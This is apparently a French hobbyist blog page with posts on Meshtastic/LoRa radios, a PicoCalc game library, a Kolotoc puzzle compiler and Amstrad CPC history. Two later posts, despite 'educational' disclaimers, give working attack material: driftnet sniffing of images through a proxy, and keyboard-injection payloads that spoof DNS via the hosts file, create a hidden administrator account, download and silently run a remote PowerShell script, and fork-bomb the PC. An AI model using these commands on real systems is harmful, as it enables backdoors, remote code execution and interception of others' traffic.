Catégorie : Non classé

Premier pas avec LoRa et Meshtastic

Ces derniers jours, je me suis plongé dans le monde fascinant (et plutôt bon marché) des communications sans fil longue portée. Après avoir étudié différentes options, mon choix s’est porté sur Meshtastic, un projet open source qui permet de transformer de simples modules LoRa en un réseau maillé de communication décentralisé, sécurisé, et surtout, sans dépendance au réseau GSM ou Wi-Fi.

C’est quoi Meshtastic ?

Meshtastic, c’est un petit firmware que l’on installe sur des appareils compatibles LoRa (comme ceux de Heltec, LilyGo, etc.). Une fois configurés, ces petits modules peuvent échanger des messages entre eux en formant un réseau maillé. Chaque module fait office de relais, ce qui permet d’étendre la portée du réseau sans infrastructure centralisée. Il est principalement utilisé pour la randonnée, les communications en zones isolées, ou tout simplement pour le plaisir geek de créer son propre réseau indépendant.

868 MHz

En Europe, la fréquence 868 MHz est celle la plus couramment utilisée pour les communications LoRa. Elle offre un bon compromis entre portée et pénétration des obstacles. J’ai donc naturellement choisi cette bande de fréquence pour mes expérimentations.

Le matériel

Pour débuter, j’ai acheté deux appareils :

  • Un Heltec V3 : compact, avec écran OLED intégré, parfait pour les tests de base. Je l’ai reçu début de semaine et ai immédiatement commencé les tests.
  • Un LilyGo T-Deck : un vrai petit bijou, avec écran couleur, clavier intégré et support LoRa. Il a été commandé dans un entrepôt allemand via Aliexpress, donc il devrait arriver rapidement. J’ai hâte de le bidouiller.

Surprise en Wallonie

En lançant mon Heltec V3 ici en Wallonie, je m’attendais à capter quelques nœuds Meshtastic dans les environs. Mais… rien. Silence radio.

En fouillant un peu, j’ai découvert que c’est principalement la communauté radioamateur qui a adopté Meshtastic ici en Wallonie, et qu’ils préfèrent la bande des 433 MHz, plus classique dans leur pratique. Résultat : mon pauvre module en 868 MHz reste désespérément seul dans le paysage radio local.

J’aurais bien sûr la possibilité de passer en 433 MHz pour rejoindre plus facilement le réseau local existant, mais cela limiterait un peu la portée de mes communications… et soyons honnête : j’ai déjà acheté deux modules en 868 MHz, alors autant aller jusqu’au bout.

Je me retrouve donc avec un seul nœud actif (le mien), ce qui limite forcément les tests. J’ai beau m’envoyer des messages touchants, ça manque un peu d’interactivité… J’attends maintenant le T-Deck pour pouvoir enfin communiquer… mais toujours avec moi-même.

Et après ?

La suite du projet s’annonce plutôt excitante, et je commence à structurer un peu mes idées pour aller plus loin :

  • Améliorer la portée : je compte acheter des antennes plus puissantes afin d’étendre la couverture du réseau. Qui sait, peut-être capter un signal venu des campagnes françaises voisines (je suis à deux pas de la frontière) ?
  • Automatiser des actions : je vais développer quelques scripts pour lancer des commandes à distance. Exemples ? Allumer une LED, déclencher un ventilateur, envoyer la température d’un capteur ou encore faire miauler un module LoRa en pleine réunion (on a tous nos priorités).
  • Installer des nœuds autonomes : l’idée est de déployer des modules fonctionnant sur batterie et panneau solaire à différents endroits. Attention toutefois à ne pas utiliser n’importe quel microcontrôleur : le nRF52840, par exemple, consomme environ 7 fois moins que le MCU utilisé sur le Heltec v3 (un ESP32-S3). Ces nœuds fonctionneraient comme des petites balises toujours actives, prêtes à relayer un message ou simplement maintenir le réseau vivant.
  • Porter mon émulateur Amstrad CPC sur le T-Deck : aucun lien direct avec le LoRa, j’avoue. Mais j’ai ce nouveau mini-ordinateur sous la main, alors pourquoi me priver ? BoulderdashBomb JackRick Dangerous… tous dans la poche !
  • Élargir la communauté : je vais essayer de convaincre quelques amis, collègues ou voisins de rejoindre l’aventure. Parce qu’un réseau, c’est bien. Mais un réseau peuplé, c’est mieux.

Bref, les idées ne manquent pas. Reste à trouver le temps.

PicoCalc

Un peu de neuf… enfin !

Oui, je sais. Le dernier article remonte à un bon moment. Trop de boulot, pas d’inspiration, et une activité principale qui pompe toute l’énergie créative.

Mais me revoilà, avec un nouveau jouet… et un peu de code maison à partager.


PicoCalc : la HP48G du futur rétro ?

Il y a deux mois, j’ai craqué pour la Clockwork PicoCalc. Reçue en à peine 15 jours, ça change agréablement des (trop) nombreux mois d’attente pour la uConsole du même fabricant… dont je devrais d’ailleurs parler un jour sur ce blog aussi.

Pour ceux qui ne connaissent pas, c’est un petit ordinateur open-source basée sur un Raspberry Pi Pico (RP2040), mais upgradable en Pico2. Avec son look minimaliste et son côté programmable à souhait, elle m’a immédiatement rappelé ma HP48G que j’utilisais à la polytech.

Mais bien sûr, je ne pouvais pas me contenter de faire des racines carrées avec. Il fallait coder.


PKKlib : une librairie pour créer des jeux sur PicoCalc

Très vite, j’ai eu envie d’aller au-delà des simples tests hardware. Par défaut, la PicoCalc fonctionne avec du MicroPython ou du BASIC, mais j’avais envie de l’exploiter en C pour tirer parti de toute sa puissance. J’ai donc développé une petite bibliothèque maison, PKKlib, pour faciliter la création de jeux sur la PicoCalc.

Elle fournit :

  • un environnement Docker prêt à l’emploi, pour éviter d’encombrer son système avec une multitude de dépendances
  • un moteur d’affichage en 50Hz, synchronisé avec le LCD,
  • un mini-gestionnaire de ressources pour intégrer images et musiques directement dans le binaire,
  • un lecteur musical ultra-léger compatible avec des fichiers YM (les musiques chiptune du Amstrad CPC !),
  • une gestion simple du clavier,
  • et même un mini-système de stockage persistant pour sauvegarder des scores ou des états.

L’idée, c’est de pouvoir se concentrer sur le gameplay sans avoir à réinventer la roue à chaque fois.

D’ailleurs, j’ai profité de pkklib pour porter mon clone de Tetris Game Boy (initialement développé sur Amstrad CPC) vers la PicoCalc. 

Et comme on ne se refait pas, j’ai aussi codé une petite calculatrice en notation polonaise inversée. Après tout, avec « Calc » dans son nom, la PicoCalc méritait bien une vraie fonction de calcul ! 

Simple, efficace, rétro jusqu’au bout des doigts.


Une scène encore discrète

Je n’ai pas encore eu beaucoup de retours… Peut-être que le nombre d’utilisateurs de la PicoCalc reste encore limité, ou que tout le monde est trop occupé à flasher des firmwares.

Mais si tu lis ceci, vas jeter un œil au GitHub PKKlib, clone le dépôt, et dis-moi ce que tu en penses ! Même une critique assassine me ferait plaisir à ce stade.


Petite pause : direction le LoRa

En attendant, je fais une petite parenthèse du côté du LoRa. Je bricole avec des modules Heltec v3, du T-Deck et un peu de Meshtastic.

Une idée me trotte déjà en tête : j’aimerais bien tenter une communication entre un module LoRa et un Amstrad CPC. Une sorte d’application de messagerie sans fil sur cet ordinateur, ça aurait de la gueule, non ?

Mais ceci est une autre histoire, qui sera contée une autre fois.

Générer des énigmes pour Kolotoc : un guide pratique

Introduction

🎉 Kolotoc est enfin disponible ! Après des mois, que dis-je, des années de travail, notre jeu inspiré de la « Roue de la fortune » est sorti hier, juste à temps pour Noël.

Dans cet article, je vais vous montrer comment utiliser un script PHP que j’ai développé pour créer vos propres énigmes et les intégrer dans le jeu. Si vous souhaitez personnaliser votre expérience ou ajouter vos propres catégories, ce guide est fait pour vous !


Fonctionnalités du script

Ce script a été conçu pour :

  1. Nettoyer et formater les chaînes de caractères
    • Suppression des accents et des caractères spéciaux.
    • Conversion en majuscules pour une uniformité parfaite.
  2. Convertir des fichiers texte en données binaires structurées
    • Organisation des énigmes par catégories (une catégorie = un fichier texte).
    • Création d’un fichier binaire compact et optimisé pour Kolotoc.
  3. Générer des fichiers d’en-tête optionnels pour des projets C
    • Idéal pour des tests ou une intégration spécifique.

Format du fichier binaire généré

Voici la structure du fichier binaire généré :

  • Signature : 3 octets – « KWF » (Kolotoc Wheel Format).
  • Nombre de catégories : 1 octet.
  • Métadonnées des catégories :
    • Position du titre.
    • Début et longueur de la liste des phrases.
  • Liste des phrases :
    • Position de chaque phrase relative.

Instructions d’utilisation

  1. Préparer les fichiers texte
    • Chaque fichier représente une catégorie.
    • Une phrase par ligne dans chaque fichier.
  2. Exécuter le script
    Ouvrez un terminal et utilisez la commande suivantephp compile.php <dossier> (Remplacez <dossier> par le chemin vers le dossier contenant vos fichiers texte)
  3. Résultats
    • Les fichiers nettoyés (avec des noms adaptés) sont enregistrés dans le même dossier avec l’extension .cleaned.
    • Le fichier binaire final s’appelle kolo2.bin.

Exemple

Supposons que vous avez un dossier contenant les fichiers suivants :

  • animaux.txt
  • villes.txt

Exécution :

Copier le codephp compile.php enigmes/

Résultats :

  • Un fichier binaire kolo2.bin contenant toutes les catégories.
  • Des fichiers nettoyés animaux.txt.cleaned et villes.txt.cleaned.

Intégration dans Kolotoc

Pour que vos énigmes personnalisées soient prises en compte dans le jeu, remplacez simplement le fichier kolo2.bindans le disque du jeu Kolotoc par celui généré par le script. Une fois fait, lancez le jeu et vos nouvelles catégories apparaîtront comme par magie ! 🌟


Conclusion

Avec ce script, vous avez le pouvoir de personnaliser Kolotoc selon vos envies. Ajoutez vos propres énigmes, explorez de nouvelles thématiques, et partagez vos créations avec vos amis. Si vous avez des questions ou des idées d’amélioration, n’hésitez pas à les partager en commentaire !

Et surtout, amusez-vous bien avec Kolotoc, le jeu qui met votre esprit à l’épreuve tout en vous divertissant. 🎄🎁

Téléchargez Kolotoc ici : crazypiri.itch.io/kolotoc

Téléchargez le script sur github : github.com/redbug26/kolotoc-compiler

CPC 664 nombre et versions

2 mois depuis le dernier article…

Comme beaucoup le savent, Cedric « leZone » Grandemange, le graphiste de Crazy Piri référence depuis 20 ans tous les CPC existants.

Aujourd’hui, il nous retire les chiffres à propos du 664 de son tableau Excel pour nous résumer tout cela dans un excellent article.

Vous saurez tout sur la prétendue rareté de ce 664, sa période de production et bien d’autres choses sur ce CPC.

Cela se télécharge sur notre itch.io.

Si vous possédez des 664 non référencés, n’hésitez pas à contacter Cedric. Il n’attend que cela.

Bis repetita

Pour ceux qui ont cliqué sur un lien AMSNews.be (ou .fr), bienvenue sur mon blog principal.

J’ai repris mes articles de AMSNews (interviews, articles de fond, …). Tout sauf les news donc et les articles qui ne m’appartiennent pas. Ces articles seront rendus à leurs auteurs qui en feront ce qu’ils veulent.

Pour ce qui est des news, c’est périssable, aucun intérêt de les reprendre.

Ici, on discute Amstrad, forcement, mais pas que ! (je viens de recevoir mon Spectrum Next pour info).

Je vous invite à aller faire un tour sur le site avant de supprimer le lien de vos bookmarks.

À bientôt, j’espère.

Indian Queen by Peachy / Masque

Wired’95

3 novembre 1995, je participe à la Wired, ma première démo party.

Nous y allons sous le nom Paranoia. Le groupe de se compose de Darkangel, Wonderboy (sysop du BBS du même nom et futur Shaan et musicien de Crazy Piri) et moi-même.

La demoparty est organisée par Antarès et Imphobia. Antarès splittera quelques mois plus tard et nous formerons Ketchup Killers avec aXs. (aXs, Darkangel et moi sommes en classe ensemble pour notre première année de graduat en informatique).

Nous n’étions pas venus avec une production. J’en profiterais donc pour participer à la surprise coding. Il fallait coder un truc en assembleur le plus petit possible. J’arrive ex-aequo avec le légendaire Walken/Impact Studios. Fier.

Nous étions juste derrière la table de Melting Pot. Nous avons donc bénéficié de leur bonne ambiance (spécialement grâce à Zeugma et Darky). Walken, tout prêt, était toujours à l’affut de personnes voulant jouant à son jeu préféré: Arcade Volleyball.

Cette Wired’95 a lieu dans l’université de Mons Hainaut. Nous bénéficions donc des amphithéâtres pour visionner les compos, jouer à des jeux sur grands écrans (wipeout sur PlayStation entre autres) mais aussi regarder des films (dont Jurassic Park). Le grand luxe.

Pour cette première demoparty, je ne dors pas pendant 60 heures. La nuit du dimanche au lundi ne suffit pas à me remettre sur pied. Je me rappelle m’être endormi pendant le cours de statistique encore plus soporifique que d’habitude.

Que de bons souvenirs pour cette première demoparty. J’étais devenu un demoscener et je le resterais toute ma vie.

L’époque où le geek en informatique était presque vu comme un pestiféré est définitivement révolue. Internet et les smartphones le confirmeront plus tard… mais ceci est une autre histoire, qui sera contée une autre fois.

D’ou vient le nom de l’Amstrad CPC

Pour le sigle CPC, c’est assez facile:

Colour Personal Computer soit Ordinateur personnel couleur.

Pour ce qui est des chiffres, la vraie signification est plus compliquée à trouver.

CPC464 – Unknown author

La fin est facile, c’est la quantité de mémoire (64k ou 128k). Le début, 4 pour cassette et 6 pour disquette. Mais pourquoi ?

En 1993, François Quentin, dans son excellent livre « Ces ordinateurs sont dangereux», nous dit : Le vrai nom allait devenir CPC 464 (Color Personal Computer, Ordinateur Personnel Couleur), 64 parce qu’il avait 64 K de mémoire, 4 devant le 64 parce que ça faisait plus riche que Commodore 64

En 2019, Roland Perry, le créateur de l’Amstrad, complète cette information dont tant de monde voudrait avoir le fin mot et c’est grâce à Zoé Kirk Robinson que nous savons enfin ce que signifie ces chiffres:

Il s’avère qu’ils ne veulent rien dire du tout ! Roland Perry a nommé le CPC 464 le « 464 » parce que l’ajout d’un 4 au début de « 64 » signifiait qu’il avait une symétrie. Lorsque le moment est venu de nommer le prochain CPC, il l’a appelé le « 664 » pour le différencier du « 464 » et vu que « 6 » était le prochain nombre pair, le 664 est né. Et pour son successeur sorti 6 mois plus tard, le 6128, vu qu’il n’était que le remplacement rapide du 664, ils sont restés avec le préfixe « 6 ».

Plus tard, lorsqu’ils ont voulu faire leurs gammes PCW et PC, ils ont gardé leur nomenclature avec le premier chiffre pour la gamme et le reste pour la mémoire. Ce qui a donné le PCW 8512 (ainsi que le PCW 9512 et PcW 16 ??) et le PC 1512… mais ceci est une autre histoire, qui sera contée une autre fois.

Scanner d’image

⚠ AVERTISSEMENT : Toutes les informations fournies dans cette publication le sont à des fins éducatives uniquement. Le site n'est en aucun cas responsable de toute utilisation abusive de ces informations. Vous êtes seul responsable de vos actes devant la loi.

Vous avez accès à un serveur Proxy en ssh ?

Que diriez-vous de voir toutes les images qui passent par ce serveur ?

C’est très simple. Cela se fait via le package driftnet.

sudo apt-get install driftnet
sudo driftnet -i eth0 -w

Maintenant, à partir de votre navigateur, accèdez à l’adresse http://ip_du_serveur:9090

Toutes les images qui passeront en clair via l’interface réseau du serveur s’afficheront dans votre navigateur.

Comique. Non ? (Mais peut-être pas très GDPR – bien que… les images n’étant pas associées à un utilisateur, ça peut passer)

Si vous êtes joueur, vous pouvez, via une attaque de l’homme du milieu ou une mise en monitoring de votre port réseau analyser tout ce qui passe dans le réseau. Mais ceci est une autre histoire, qui sera contée une autre fois.

Dans les Rubber Ducky

⚠ AVERTISSEMENT : Toutes les informations fournies dans cette publication le sont à des fins éducatives uniquement. Le site n'est en aucun cas responsable de toute utilisation abusive de ces informations. Vous êtes seul responsable de vos actes devant la loi.

Encore un article sur le Rubber Ducky ? Pas vraiment.

On trouve sur le net beaucoup de payload pour les injecteurs claviers tel que le Rubber Duccky, DigiSpark et autres.

Les créateurs de ces payloads sont souvent très inventif. Dans cet article, je detaillerais certaines de leurs idées.

Injection clavier – (c) Pexels – Anete Lusina

Quels idées sous Windows

Cela se fait via l’interpreteur de commande (cmd) ou via powershell. Vous pouvez aussi executer une commande powershell en cmd:

powershell <vos instructions powershell>

La plupart des idées ont été reprises de ce GitHub.

Tricher avec le DNS

Pour vous faire passer pour un serveur connu (via cmd)

ECHO 143.166.83.38 www.google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS

Création d’un utilisateur avec le droit admin

On crée l’utilisateur ‘accName’ avec le mot de passe ‘P@ssW0rD’ et on le met dans le groupe ‘Administrators’. Le groupe doit sans doute être modifié sur un PC dont la langue n’est pas l’anglais (via powershell)

$pass = ConvertTo-SecureString "P@ssW0rD" -AsPlainText -Force; New-LocalUser "accName" -Password $pass; Add-LocalGroupMember -Group "Administrators" -Member "accName" 

Masquage d’un utilisateur

On masque l’utilisateur ‘accName’ (via powershell). Cela montre aussi comment manipuler la base de registre en powershell (toujours intéressant)

New-Item -Path "'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon'" -Name "SpecialAccounts"
New-Item -Path "'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccounts'" -Name "UserList"
New-ItemProperty -Path "'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList'" -Name "accName" -Value "0" -PropertyType DWORD

Téléchargement d’un fichier

On télécharge un fichier (un autre powershell par exemple) sur notre disque. Soyez attentif où vous sauvez. Tous les répertoires ne sont pas forcément accessible en écriture;

$client = new-object System.Net.WebClient
$client.DownloadFile("https://scriptURL" , "%USERPROFILE%script.ps1")

Execution d’un powershell (caché)

Vous voulez executer le script précedemment téléchargé dans une fenêtre cachée ? (via cmd)

powershell.exe -windowstyle hidden -File %USERPROFILE%\script.ps1

Bloquer le PC indéfiniment

Sans commentaire 😉

for /l %%x in (0, 0, 0) do start

Changement du fond d’écran

Ca ne sert à rien, mais c’est toujours amusant. (via cmd)

reg add "HKCUControl PanelDesktop" /v WallPaper /d "%USERPROFILE%doge.jpg" /f
RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True

Faire parler le PC

Ca ne sert à rien, mais c’est toujours amusant (bis). (via powershell)

Add-Type -AssemblyName System.speech;
$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer
$speak.Speak("T'as pris quoi comme résolution pour cette nouvelle année ? 1080p.")

Si cela vous a plu, n’hésitez pas à le dire, il y a encore de quoi en faire quelques articles.